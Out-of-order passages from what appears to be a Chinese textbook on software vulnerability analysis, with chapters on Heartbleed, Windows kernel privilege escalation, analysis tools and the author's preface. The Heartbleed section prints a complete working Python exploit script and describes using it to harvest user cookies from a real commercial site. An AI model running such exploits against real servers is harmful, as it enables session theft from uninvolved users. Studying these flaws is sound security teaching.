SSL3_RECORD 中，并返回给用户 r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding); if (r >= 0 && s->msg_callback) s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding, s, s->msg_callback_arg); OPENSSL_free(buffer); // 释放内存 if (r < 0) return r; } else if (hbtype == TLS1_HB_RESPONSE) // 心跳响应包类型 { unsigned int seq; /* We only send sequence numbers (2 bytes unsigned int), * and 16 random bytes, so we just try to read the * sequence number */ n2s(pl, seq); if (payload == 18 && seq == s->tlsext_hb_seq) { s->tlsext_hb_seq++; 388 漏洞战争：软件漏洞分析精要 s->tlsext_hb_pending = 0; } } return 0; } 总结漏洞形成的过程及原因，其原理如图8-34所示。"},
    {"text": "（2）心跳包处理函数会分配最大为 65554（1+2+65535+16）的内存块，然后读取用户指定的 payload 长度的内存数据到分配区域，由于复制长度 payload 是由用户控制的，当它超过心跳包数据的实 际长度时，会造成越界访问。 （3）心跳包处理函数会将类型、长度、数据组装成心跳的响应包返回给用户，如果前面越界访问的 内存包含敏感信息（如 Cookie），就可能导致敏感信息泄露，直接导致账号被盗。 图8-34 HeartBeat漏洞原理图 第8章 数组越界访问漏洞分析 389 8.4.3 利用漏洞盗取网站账号 网上早已有利用工具公开，并且支持多个协议版本（SSL 3.0、TLS 1.0、TLS 1.1、TLS 1.2）， 其通过发送Hello握手包，再发送包含过大Payload长度值的心跳请求包给服务端，最终越界访问到其 他可能包含敏感数据的内存区域。"},
    {"text": "具体的利用代码及其注释如下： import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\\n', '').decode('hex') # 支持多个协议版本 version = [] version.append(['SSL 3.0','03 00']) version.append(['TLS 1.0','03 01']) version.append(['TLS 1.1','03 02']) version.append(['TLS 1.2','03 03']) # 创建 Hello 握手包 def create_hello(version): hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 390 漏洞战争：软件漏洞分析精要 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') return hello def create_hb(version): # 创建请求心跳包，18 代表 Heartbeat 类型，00 03 代表请求包的实际长度 # 01 代表 TLS1_HB_REQUEST 请求类型，40 00 代表 payload 长度值 hb = h2bin('18 ' + version + ' 00 03 01 40 00') return hb def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata 第8章 数组越界访问漏洞分析 391 def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s,hb): s.send(hb) # 发送心跳请求包 while True: typ, ver, pay = recvmsg(s) # 接收心跳响应包 if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: # 24 代表 Heartbeat 类型 print 'Received heartbeat response:' hexdump(pay) # 以十六进制 + 字符串的形式打印出心跳响应包数据 if len(pay) > 3: # 返回的数据长度越过实际长度 3，就说明越界访问到其他内存数据，此 时就存在漏洞 print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() 392 漏洞战争：软件漏洞分析精要 if len(args) < 1: options.print_help() return for i in range(len(version)): print 'Trying ' + version[i][0] + '...' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(create_hello(version[i][1])) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(create_hb(version[i][1])) if hit_hb(s,create_hb(version[i][1])): #Stop if vulnerable break if __name__ == '__main__': main() 运行该Python工具时用WireShark抓包可以看到它发送心跳包数据，如图8-35所示可以看到心跳 包的实际长度为3，但请求的payload长度却为0x4000（16384），远远超过实际的心跳包长度。"},
    {"text": "第8章 数组越界访问漏洞分析 393 图8-35 心跳包的实际长度与payload长度不一致 最终的运行效果如图8-36所示，它是针对淘宝服务器的一次测试，它返回了包含用户Cookie的数 据，直接利用Cookie即可登录他人账号，危害比较严重。"},
    {"text": "8.5 本章总结 本章主要对数组越界访问的原理、漏洞分析方法及利用进行了详细介绍，并举了两个比较经典 的漏洞，这两个漏洞在外界都是被大范围利用过的，影响较广，危害较大。 在分析数组越界访问漏 洞时，本章介绍了编写Perl辅助分析、修改样本反编译代码、指令序列搜索、源码对比与跟踪等漏洞 分析技巧，旨在帮助读者更快地找到属于自己的分析方法，以提高漏洞分析效率。"},
    {"text": "第9章 内核漏洞分析 395 第 9 章 内核漏洞分析 9.1 Windows内核漏洞漫谈 此处讲述的内核漏洞主要以Windows平台下的环境为例，关于Linux内核漏洞的历史可以追溯到 比Windows更早，而且资料也不少。 关于Windows平台上的内核漏洞，笔者在网上找到的，最早是2003 年4月被公布的MS03-013 Windows 内核栈溢出漏洞。 同年5月，国内著名的安全焦点论坛上，eyas 发表文章《windows 2000 kernel exploit的一点研究》，对MS03-013漏洞的原理和利用方法进行了分 析，通过栈溢出覆盖返回地址来利用，并在最后给出完整的利用代码。"},
    {"text": "同年8月，来自国外的SEC-Labs的Lord Yup发表文章 Proof Of Concept - Exploiting Norton AntiVirus Device Driver ，文章中提到Norton 2002反病毒软件存在内核漏 洞，在处理特定IO控制码时，由于对输入缓冲区控制不严格，导致可以写任意地址，最终进行内核 提权，这类漏洞也成为内核漏洞中最为常见的类型之一。"},
    {"text": "想了解Windows平台下内核漏洞的原理及利用技术的发展过程，读者可以看看图9-1中列出的早 期资料，可按编号顺序阅读。 对于想入门的同学，建议看下《0day安全：软件漏洞分析技术（第2版）》， 图9-1 内核漏洞利用学习资料 漏洞战争：软件漏洞分析精要 396 漏洞战争：软件漏洞分析精要 其中对Windows驱动编程基础、内核调试环境搭建（书中方法较为烦琐，推荐使用VirtualKD搭建环 境，详见下一节内容）、常见的内核漏洞原理与利用都有介绍，并且在其附加资料中还包含一些整 理过的内核漏洞案例（以2010年的漏洞居多），在网上可下载到。 笔者在本章将不再过多赘述这些 基础内容，主要以一些经典的内核漏洞作为实例讲解漏洞分析技巧、漏洞原理和利用技术。"},
    {"text": "运行下载到的VirtualKD.exe，它会实现自动解压，打开解压的文件，如 图9-2所示。 图9-2 VirtualKD目录 将target文件夹复制到虚拟机，运行里面的vminstall.exe，单击“Install”按钮，在弹出的确认框 中选择“是”按钮，实现虚拟机重启，如图9-3所示。 图9-3 安装后重启虚拟机 第9章 内核漏洞分析 397 在实体机中运行VirtualKD目录下的vmmon.exe，然后在重启时在虚拟机中选择要启动的操作系 统为“Microsoft Windows XP Professional [VirtualKD] [启用调试程序]”，如图9-4所示，然后就可以 在vmmon管理窗口中看到虚拟机名称，单击“Run debugger”按钮即可启动WinDbg进行内核调试， 也可选中“Start debugger automatically”选项，让它每次自动打开WinDbg，如图9-5和图9-6所示。 图9-4 启动后选择启用调试程序 图9-5 Virtual Machine monitor 398 漏洞战争：软件漏洞分析精要 图9-6 开始内核调试 接下来，我们就可以通过WinDbg开始Windows的内核调试之旅了。"},
    {"text": "9.3 常见内核漏洞原理与利用 在《0day安全：软件漏洞分析技术（第2版）》出版前，作者在看雪论坛曾发过部分样章，其中 在内核一章有一段exploitme.sys的漏洞示例代码，链接见：http://bbs.pediy.com/showthread.php?t= 129898。 通常，在分析漏洞时是没有源码的，因此这里笔者就以此exploitme.sys为例讲解在闭源情况 下，针对此类漏洞的分析与利用技巧。 9.3.1 漏洞成因分析 用工具加载编译后的驱动，再开启WinDbg进行内核调试（以Windows XP SP3作为测试环境）， 先找到驱动的IoControlCode数值，笔者在编译时采用test.sys作为文件名，因此使用!drvobj test 这样 的命令，但源码依然是经样章上的代码而修改编译的，执行命令后结果如下。"},
    {"text": "\\n\\n\"); getchar(); } } } return FALSE; } 上面的Shellcode是针对XP的提权代码，获取KPCR地址是采用硬编码的方式，因此存在通用性 问题，关于编写通用内核Shellcode可参考发表在《Ph4nt0m》杂志上的文章《编写通用内核Shellcode》。"},
    {"text": "图9-7 CMD进程获得system权限 414 漏洞战争：软件漏洞分析精要 9.4 360安全卫士bregdrv.sys本地提权漏洞分析 9.4.1 漏洞描述 关于360安全卫士bregdrv.sys本地提权漏洞，最早于2010年2月1日被人曝光在波兰安全组织NT Internals的网站上，如图9-8所示。 随后，瑞星在其官网发布漏洞细节，并有人匿名在exploit-db上公 布利用代码（http://www.exploit-db.com/exploits/11317），然后网上就开始出现各种利用360进行提权 的利用工具，利用工具会创建出3389端口的连接后门，按5次Shift键可得到CMD权限。 该提权漏洞主 要是由bregdrv.sys与bregdll.dll两个文件导致的，由于程序未对调用者进行安全检查，导致恶意程序 可通过漏洞以内核权限去读写任意注册表。"},
    {"text": "表9-1 测试环境 推荐使用的环境 备注 操作系统 Windows XP SP3 简体中文版 虚拟机软件 VMware Workstation 版本号：10.0.2 build-1744117 漏洞软件 360 安全卫士 版本号：6.1.6.1009 调试器 WinDbg 版本号：6.11.0001.404 反汇编器 IDA Pro 版本号：6.5 测试代码如下： #include <windows.h> typedef BOOL (WINAPI *INIT_REG_ENGINE)(); 第9章 内核漏洞分析 415"},
    {"text": "index 漏洞战争：软件漏洞分析精要fy.pdf 1 2016/6/20 15:01:39 C M Y CM MY CY CMY K 内 容 简 介 本书系统地讲解软件漏洞分析与利用所需的各类工具、理论技术和实战方法，主要涉及 Windows 和 Android 系统平台。 全书根据不同的软件漏洞类型划分，比如堆栈溢出、沙盒逃逸、类型混淆、UAF、内 核漏洞等，同时又针对当前流行的移动安全，加入 Android 平台上的漏洞分析与利用。 以精心挑选的经典 漏洞为例，以分享漏洞的分析技巧和工具为主，对这些漏洞的成因、利用及修复方法进行详细讲解，旨在 “授之以渔” 。 本书最大的特点是以各种类型的经典漏洞作为实战讲解，摒弃空头理论，几乎是“一本用 调试器写出来的书” 。 本书适合计算机相关专业的本科及研究生，信息安全爱好者，软件安全及移动安全相关的安全从业人 员，软件开发与测试人员、黑客等阅读。"},
    {"text": "图书在版编目（CIP）数据 漏洞战争：软件漏洞分析精要 / 林桠泉著. —北京：电子工业出版社，2016.6 （安全技术大系） ISBN 978-7-121-28980-4 Ⅰ. ①漏… Ⅱ. ①林… Ⅲ. ①软件可靠性 Ⅳ. ①TP311.53 中国版本图书馆 CIP 数据核字（2016）第 125946 号 策划编辑：刘 皎 责任编辑：郑柳洁 印 刷：三河市双峰印刷装订有限公司 装 订：三河市双峰印刷装订有限公司 出版发行：电子工业出版社 北京市海淀区万寿路 173 信箱 邮编：100036 开 本：787×980 1/16 印张：37.75 字数：960.36 千字 版 次：2016 年 6 月第 1 版 印 次：2016 年 6 月第 1 次印刷 定 价：119.00 元 凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。"},
    {"text": "若书店售缺，请与本社发行部联系， 联系及邮购电话： （010）88254888，88258888 质量投诉请发邮件至 zlts@phei.com.cn，盗版侵权举报请发邮件至 dbqq@phei.com.cn。 本书咨询联系方式：010-51260888-819 faq@phei.com.cn。"},
    {"text": "《0day安全：软件漏洞分析技术》作者，北京子衿晨风科技有限公司CEO failwest  IV 漏洞战争：软件漏洞分析精要 前 言 为什么写这本书 不知道大家是否曾有过这样的经历： ● 无法读懂网上很多软件漏洞分析文章，不理解里面的漏洞成因和漏洞利用技巧。"},
    {"text": "● 很多软件漏洞分析文章贴出存在漏洞的汇编代码，指出导致漏洞的原因，即“结论式分析”，但 如何定位到此段代码并无解释，看完之后，仍不知如何快速定位，缺乏可借鉴的思路。"},
    {"text": "再来聊下本书的一些写作经历，开始写作本书始于2012年5月，最初是“爱无言”找到我，说大 家合作写一本关于软件漏洞案例分析的书，因为那段时间我在博客上每周都会分享一两篇软件漏洞 分析的实际案例，而当时国内还没有专门写软件漏洞案例的专著（几年前出版的《0Day安全：软件 漏洞分析技术》主要偏向堆和栈溢出及内核方面的漏洞分析，实际案例较少，且“爱无言”也是作 者之一）。"},
    {"text": "后来，我又拉了两位朋友加入，然后几人列出大纲目录，但最后因为种种原因，只剩下我一人 独自完成本书创作，中途也多次想放弃，但庆幸的是，历时3年半，终于2015年12月完稿，共历时4 年后出版。"},
    {"text": "Q：本书与《0day 安全：软件漏洞分析技术》有何区别？ A：0day安全一书主要是讲Windows平台下堆栈溢出和内核提权的漏洞分析技术，还涉及部分格 式化字符串漏洞，从基础讲起，最后是实例分析。"},
    {"text": "本书则完全是以真实的漏洞为实例以分享漏洞分 析时的一些技巧，以漏洞类型的不同来分享不同的漏洞分析技巧，可以说是“用调试器写出来的一 本书”，而且综合考虑当前热门的移动安全，特意加入Android平台上的漏洞分析章节，从Java层、 Native层和内核层等方向分享不同的调试分析方法。"},
    {"text": "正因为如此，即使你看懂了Vupen漏洞军火商写的分析文章，也不代表你看完后就能独立分析出来， 甚至在调试之后，你还会发现Vupen在一些文章里留有“坑”，故意省略或写错某些关键内容，如果 没有自己实际调试一遍是很难发现这些问题的。"},
    {"text": "相信有一定软件漏洞分析经验的朋友会注意到，软件漏洞分析的大部分时间是花费在寻找和定 位漏洞代码，而非分析存在漏洞的代码。 对于有一定编程经验和漏洞基础的读者，如果直接给一段 漏洞代码，可能很容易就看出来，但像Adobe和Windows这些复杂的软件或系统，在千千万万的代码 行中找到漏洞代码是有一定难度的。 因此，本书的重点是讲授如何快速地定位漏洞代码，针对不同 漏洞类型采取不同的分析技巧，以帮助大家快速地分析出漏洞成因，制定检测、防御与修复方案。"},
    {"text": "书中的漏洞实例分析技巧是可以长期运用和延伸的，这才是本书的核心价值。 Q：如何借助本书提升自身的软件漏洞分析能力？ A：本书主要面向有一定软件漏洞基础的读者，如果缺乏这方面的基础，且有一定C语言和汇编 语言基础，建议提前看看《0day安全：软件漏洞分析技术》一书。 软件漏洞分析是一门实践性比较 强的安全领域分支，需要许多实际动手的调试经验，因此建议大家在看本书时，一边看一边动手调 试，以加深理解，就像骑自行车一样，熟练之后，哪怕十年未碰，也依然会骑。 本书在分析漏洞时， 也尽量以思路性地描述为主，以讲解分析漏洞时的思考方式和常用技巧，包括工具和方法论，因此 大家在阅读时，应该掌握书中介绍的思考方式、工具运用及分析技巧，毕竟单个漏洞案例本身是会 过时的，但技巧性的东西总是可以借鉴和扩展。"},
    {"text": "记得大一上第一节历史课时，老师说过这样一句话，如果在未来的某一天，你在和朋友闲聊时，  VI 漏洞战争：软件漏洞分析精要 能够运用到历史课上学到的知识，哪怕一句话作为谈资，那这历史课就算没白学。"},
    {"text": "PC端上的软件漏洞一直在逐年增加，虽然厂商在不断地推出各种安全机制，但漏洞利用技术的发展 从未间断，Exploiter们依然生存得很好。 同时，互联网早已步入移动化时代，伴随着PC软件漏洞攻 击事件的频发，移动端的漏洞攻击也在逐年增长。"},
    {"text": "大一时，由于喜欢看黑客小说，比如《黑客传说》《地狱黑客》《指间的黑客》，就去图书馆 找一些黑客书籍学习，每天中午都不休息，几乎天天都泡在图书馆看书，甚至翘课去看计算机书。"},
    {"text": "大学期间，经常给《黑客防线》杂志投稿，一方面可以提高个人技术，一方面可以用稿费作为 生活补贴，后来就用稿费加上我哥的经济支持，买下了第一台属于自己的计算机，本书就有一半内 容是在那台计算机上完成的。"},
    {"text": "在求学这条道路上，我一直是一个人默默地前行着，就连一块生活了几年的舍友也不知道我在 学习安全方面的知识，我买的一堆计算机书籍一直藏在宿舍衣柜最里面。"},
    {"text": "在此过程中，自己走过很 多弯路，甚至多次差点放弃，但很庆幸最后还是坚持下来了，并直至今日，依然在安全这条道路上 前行着…… 面试经历 在圈内朋友的建议下，我在大五（医学五年制）上学期开始找安全相关的工作，最终顺利拿到 安恒和腾讯的offer。 当初投简历给安恒时，安恒的副总裁看完简历后直接发了offer，我有点受宠若 惊，也特别感谢安恒的信任，但最终还是选择了腾讯。"},
    {"text": "前 言 VII 那年我还在厦门市第二医院骨伤科实习，门诊部刚好不是特别忙，我在给一位腰椎患者做完针 灸后，就接到来自腾讯安全中心的面试电话。 然后趁主任不在，偷偷躲到门诊部后面的楼梯口进行 电话面试，整个面试过程还算比较顺利，第2天腾讯安全中心就来电说希望我到深圳总部面试。 到了深圳总部后，腾讯安全中心的主管面试了我，虽然聊了一个半小时，但没有问我多少问题， 聊完后直接被带去HR那里面试。"},
    {"text": "回到厦门后，我跟带教老师说明了转行情况，之后有上手术台的机会，我都会主动让给其他同 班同学，让他们有更多上台练手的机会，而我自己自然有更多的时间去专研安全技术。"},
    {"text": "在公司我 见证了腾讯安全应急响应中心（TSRC）的成立与发展，帮助完善各种流程和标准，作为早期主要的 漏洞审核者，我也从广大白帽子身上学到很多东西，包括各种漏洞挖掘与利用技术，涉及各个安全 领域，如Web安全、驱动安全、应用软件安全、移动安全等，正是TSRC给了我更多学习的机会，使 得我在安全技术上能够更加全面地发展。"},
    {"text": " VIII 漏洞战争：软件漏洞分析精要 基础篇（第1章）：主要介绍一些软件漏洞相关的基本概念，以及常用工具及漏洞分析方法，最 后向读者推荐一些相关的学习站点和书籍，方便读者做进一步地学习和交流。 实战篇（第2~11章）：是本书最主要的部分，根据不同的漏洞类型挑选不同的经典案例，用不 同的漏洞分析技巧，向读者介绍比较高效的分析方法，剖析各种常见的软件漏洞类型、原理、利用 和修复的实战技术。"},
    {"text": "展望篇（第12章）：对未来的软件漏洞发展趋势做出预判，相信未来的主要战场会更集中在移 动终端、云计算平台、物联网三大方向上，并对现有的这些方向的漏洞案例进行简要介绍。"},
    {"text": "感谢各位圈内的朋友，他们包括但不限于（排名不分先后）：wushi、爱无言、仙果、wingdbg、 instruder、kanxue、lake2、harite、h4ckmp、dragonltx、非虫、monster、gmxp、古河、冰雪风谷、KiDebug、 KK…… 由于作者水平有限，书中难免有误，欢迎各位业界同仁斧正！"},
    {"text": "漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够 在未授权的情况下访问或破坏系统。 也许这样的描述有点“官方”，但倘若读者看过一些外部曝光的漏洞实例，无论是Web网站， 还是软件二进制级的，都会发现攻击者利用漏洞可以达到破坏或控制目标系统的目的，利用方式可 能是发送个特殊构造的网络请求，也可能是诱使用户打开某个文件。 当然，也有一些是权限控制上 的疏忽，比如某重要管理系统不设置密码并放置在外网上，允许攻击者任意访问并操控系统。"},
    {"text": "1. 程序世界：由于程序（Web、二进制等）存在安全缺陷，导致攻击者恶意构造的数据进入程序 相关处理代码时，会改变程序原定的执行流程，从而实现破坏或获取超出原有权限的能力。 2. 安全策略：由于系统（网站、软件、操作系统等）安全策略设置得不够严谨或者未做设置，导 致攻击者能够在未经授权的情况下，获得对目标系统原本不应拥有的访问或控制权限。"},
    {"text": "漏洞战争：软件漏洞分析精要 2 漏洞战争：软件漏洞分析精要 对黑客而言，漏洞就是入侵他人系统最有力的武器，从而拿到他们想要的信息，或者进行恶作 剧、破坏系统，甚至参与到国家之间、竞争企业之间的网络战，他们可能是出于好奇心、报复心理， 或者如电影中劫富济贫的侠客情怀，又或者为了利益、为了使命、为了荣誉。"},
    {"text": "对安全从业人员而言，去挖掘和分析漏洞，都是为了帮助企业、单位甚至国家级层面排除潜在 的安全风险，制定相应的安全防御方案，以避免对企业、单位或国家造成不必要的损失。"},
    {"text": "对黑产人员而言，通过出卖漏洞谋取经济利益，售卖对象可能是黑客、可能是安全从业人员， 也可能是其他有漏洞使用需求的人，甚至是通过二手转卖谋取差价，一个高危且影响范围较广的漏 洞卖出几百万元也是完全可能的。"},
    {"text": "在漏洞领域，它是指未公开或未发补丁的漏洞，也就 是已经被少数人发现的，但还没被传播开来，官方还未修复的漏洞，它也叫“零日漏洞”或“零时 差漏洞”，主要用于强调即时性。 由0Day衍生出1Day的概念，指的就是刚被公开或刚发补丁的漏洞。 0Day漏洞通常只掌握在少数人手中，可以通过自主挖掘漏洞或者收购来获取，这类人可以借助 漏洞未公开，官方未发补丁的有利条件达到攻击或防御的目的。"},
    {"text": "比如，证明IE存在漏洞的html文件，证明Word存在漏洞的doc文件，或者是证明 Apache服务器存在漏洞的http请求包，这些可能导致存在漏洞的程序或系统崩溃，或者直接实现利用 其执行任意代码。"},
    {"text": "Exploit是指能够实现漏洞利用的代码、程序或方法，它算是PoC的子集。 Exploit也能用于证明漏 洞存在，只是它在该基础上进一步实现漏洞利用。"},
    {"text": "1.2 为什么要分析漏洞 关于这个问题，笔者觉得可以从攻击与防御的角度来看。 对于攻击者，分析漏洞通常都是为了实现漏洞的利用，写出更稳定的攻击程序，之后可以用于 第1章 基础知识 3 入侵他人系统或者出售。 对于防御者，分析漏洞主要为了弄清楚漏洞的成因与攻击手法，以便制定出有效的漏洞检测与 防御方案，帮助维护企业或单位的信息安全。"},
    {"text": "1.3 常用分析工具 软件漏洞分析与逆向工程是分不开的，各种主流逆向工具在软件漏洞分析领域都经常被用到， 这里列举几个在本书中经常使用的工具，此处主要涉及Windows与Android平台。 1.3.1 IDA—反汇编利器 在逆向工程和软件漏洞分析领域中，IDA 是一款必备工具，如图1-1所示，在反汇编应用中享有 独树一帜的地位，而且支持Windows、Linux和Mac等多个系统平台，几乎没有一款同类工具能够完 全代替它。"},
    {"text": "但是，IDA是一款收费软件，专业版售价1129美元，相当于人民币7005元左右，如果要 使用ARM/x86/x64 Hex Ray反编译插件，则售价更贵，达上万美元，约6万多元。 令人欣慰的是，目 前网上已有破解版，最新的破解版本是IDA 6.6，而且还包含ARM、x86，以及x86的反编译插件。"},
    {"text": "图1-1 反汇编器IDA Pro 4 漏洞战争：软件漏洞分析精要 1.3.2 OllyDbg—破解与逆向常用调试器 为了动态跟踪程序的执行过程，就需要使用到调试器，许多从事安全工作的人员可能会更喜欢 OllyDbg这款免费软件，简称OD，如图1-2所示。"},
    {"text": "在Windows上需要动态调试时，尤其是需要软件解密、分析协议或算法、病毒分析等需求时， 笔者会首选OllyDbg这款软件，而如果是漏洞调试分析，笔者更偏爱下面介绍的一款调试器Immunity Debugger。 图1-2 调试器OllyDbg 1.3.3 Immunity Debugger—漏洞分析专用调试器 Immunity Debugger是基于OllyDbg改造的，如图1-3所示，所以OD上的各种功能菜单及快捷键都 基本相同，很容易上手。"},
    {"text": "笔者也比较喜欢用它来调试漏洞， 而如果是其他调试需求则会选用其他调试器，因为Immunity Debugger上自带有很多Python插件，很 多是用于辅助漏洞调试的工具，比如著名的mona（早期称作pvefindaddr），允许在主界面上输入命 第1章 基础知识 5 令调用，可以大大提高漏洞分析调试的效率。"},
    {"text": "图1-3 调试器Immunity Debugger 1.3.4 WinDbg—微软正宗调试器 上面两款调试器可能更适合黑客和安全爱好者，对于普通程序员，可能更喜欢微软正宗出品 的调试器WinDbg，如图1-4所示。 在分析微软官方的程序，比如IE浏览器、Windows内核等时，笔 者更偏爱使用WinDbg，因为它提供的各项命令及独有的Windows调试支持功能（比如页堆、堆释 放检查、栈回溯数据库等），以及便于配置Windows符号表的功能，可以帮助我们识别Windows 中的更多函数，以及导致BUG的代码。 当然，其他调试器也是可以配置的，笔者更看重的是WinDbg 在Windows平台上对程序独特的调试支持功能。 6 漏洞战争：软件漏洞分析精要 图1-4 调试器WinDbg 1.3.5 GDB—Linux调试器 对于非Windows平台上的程序调试，GDB绝对是使用率最高的调试器，如图1-5所示，前面介 绍的IDA也可以基于GDB作为其他平台的远程调试器，在Linux、Mac、Android等系统上均适用，但 后来苹果官方出了款调试器称作lldb，更便于调试Objective-C/Swift程序。"},
    {"text": "第1章 基础知识 7 图1-5 调试器GDB 1.3.6 JEB—Android反编译器 在JEB工具出来前，可能很多朋友在逆向Android软件时，会采用多款工具组合使用，比如dex2jar、 smail、baksmail、jd-gui、ApkTool等命令行工具，恨不得能出一款拥有GUI界面的综合工具，集成上 述各类工具的功能，恰好JEB的出现满足了这些需求，如图1-6所示。"},
    {"text": "8 漏洞战争：软件漏洞分析精要 图1-6 Android反编译器JEB 1.3.7 其他 除上述工具外，还有很多经典工具，依据不同的系统平台、不同的文件格式，会有不同的分析 工具，比如分析PDF的pdfparse、分析SWF的SWFInvestigator、分析文件格式的010Editor等，各类不 同的分析工具会在本书后面各个章节中介绍，此处因篇幅所限，就不一一介绍。 1.4 常见的漏洞分析方法 1.4.1 静态分析 静态分析是指在无须运行程序的情况下，通过IDA或JEB等反汇编/反编译工具逆向分析软件，以 掌握其程序执行的逻辑和功能，从而找出存在安全缺陷的代码。 静态分析漏洞有时工作量比较大， 特别是对于比较庞大的软件，比如IE浏览器。"},
    {"text": "如果只是为了分析某个函数的功能，定向地静态分析 会比较直接高效，但如果想弄清楚不同函数之间的关系，以及变量、返回值或相互传递的参数，可 能就需要结合动态调试执行程序去跟踪分析。 第1章 基础知识 9 1.4.2 动态调试 动态调试就是借助调试器跟踪程序的执行过程，包含运行中函数的调用关系、传递的参数变量 和返回值，以及堆栈的分配情况。 通过动态调试跟踪，可以层层回溯当前程序调用到的各个函数， 有利于从触发崩溃的函数往前回溯追踪，更有目标性地分析，从而提高分析效率。"},
    {"text": "1.4.3 源码分析 当分析者手上拥有软件源码的时候，就可以通过阅读源码或者源码调试来分析软件，如图1-7所 示是利用WinDbg对firefox浏览器进行源码调试。 对于自己开发的软件或者开源软件（比如Firefox、 Chrome等），采用源码分析的方式可能会更便于理解程序功能，但通常情况下，我们要分析的软件 都是闭源的，此时就得采用其他分析方式了。"},
    {"text": "图1-7 源码调试分析 1.4.4 补丁比较 对于一些大厂商，比如微软、Adobe，它们每月的第二个星期二（北京时间是星期三）都会联合 10 漏洞战争：软件漏洞分析精要 发布补丁，因此这一天也被称为“微软补丁日”。"},
    {"text": "为了发现其中的0Day，一些安全人员可能会对发布的补丁（修复程序）与被修复的原文件（漏 洞程序）进行比对，找到其中被修改的地方，然后从差异之处发现被修复的漏洞，这种方法就叫补 丁比较，属于静态分析的一种方法，如图1-8所示是利用BinDiff进行补丁比较时的截图。"},
    {"text": "图1-8 补丁比较 1.4.5 污点追踪 污点追踪是指将外部输入数据标记为污点，然后在程序动态执行过程中，追踪污点的传播过程， 当污点被传播到控制执行流程或者执行代码中时，就可能导致安全漏洞的发生，如图1-9所示。"},
    {"text": "在很多信息安全专业的毕业设计中，经常见到 污点追踪的影子，其理论虽然挺好，也显得高端，但实际上能够做出较好成品的很少。 污点追踪犹如“七伤拳”一般，“先伤己，再伤人”，开发污点追踪工具，不仅费时费力，而 且开发完成后，运行比较大的工具往往需要运行很长时间，比如IE、Adobe等软件，有时甚至需要整 整一天的时间。"},
    {"text": "另外，读者也可利用pin等动态插桩框架开发出动态分析工具，针对特定函 数挂钩，比如堆分配与释放函数，根据不同的漏洞场景制作相应的动态追踪工具，可能效果更佳， 第1章 基础知识 11 更具实战价值。"},
    {"text": "图1-9 污点追踪 1.5 学习资源 对于获取漏洞信息、PoC/Exploit，以及一些学习漏洞分析技术的途径，笔者推荐一些站点和书 籍给大家，这些是笔者常逛的站点或读过的书籍。"},
    {"text": "国外一个知名的漏洞利用库，包含很多平台、很多软件的漏洞PoC，不仅有软件漏洞，也有Web 漏洞，是一个比较丰富的学习资源，读者可以从中选择一些感兴趣的漏洞，根据PoC自己动手调试分 析，经过一定时间的动手实践，水平一定能够得到提升。"},
    {"text": "法国著名“漏洞军火商”Vupen安全公司（现已更名为Zerodium）的博客，博客中有很多软件漏 洞的分析，以及高级的漏洞利用技术，可能不太适合初学者，但如果读者能够把博客中所有的漏洞 都自己动手调试一遍，那么无论是在漏洞分析还是漏洞利用上，读者的水平都会有很大的提升。"},
    {"text": "12 漏洞战争：软件漏洞分析精要 3. 看雪安全论坛 网址：http://bbs.pediy.com。 国内著名的软件安全论坛“看雪”，论坛中有很多软件漏洞分析的文章，还有很多经典的系列 文章，每年的精华集都是不错的学习资源，不仅包括漏洞分析，还有软件加解密、病毒分析、编程 开发、移动安全等诸多方向。"},
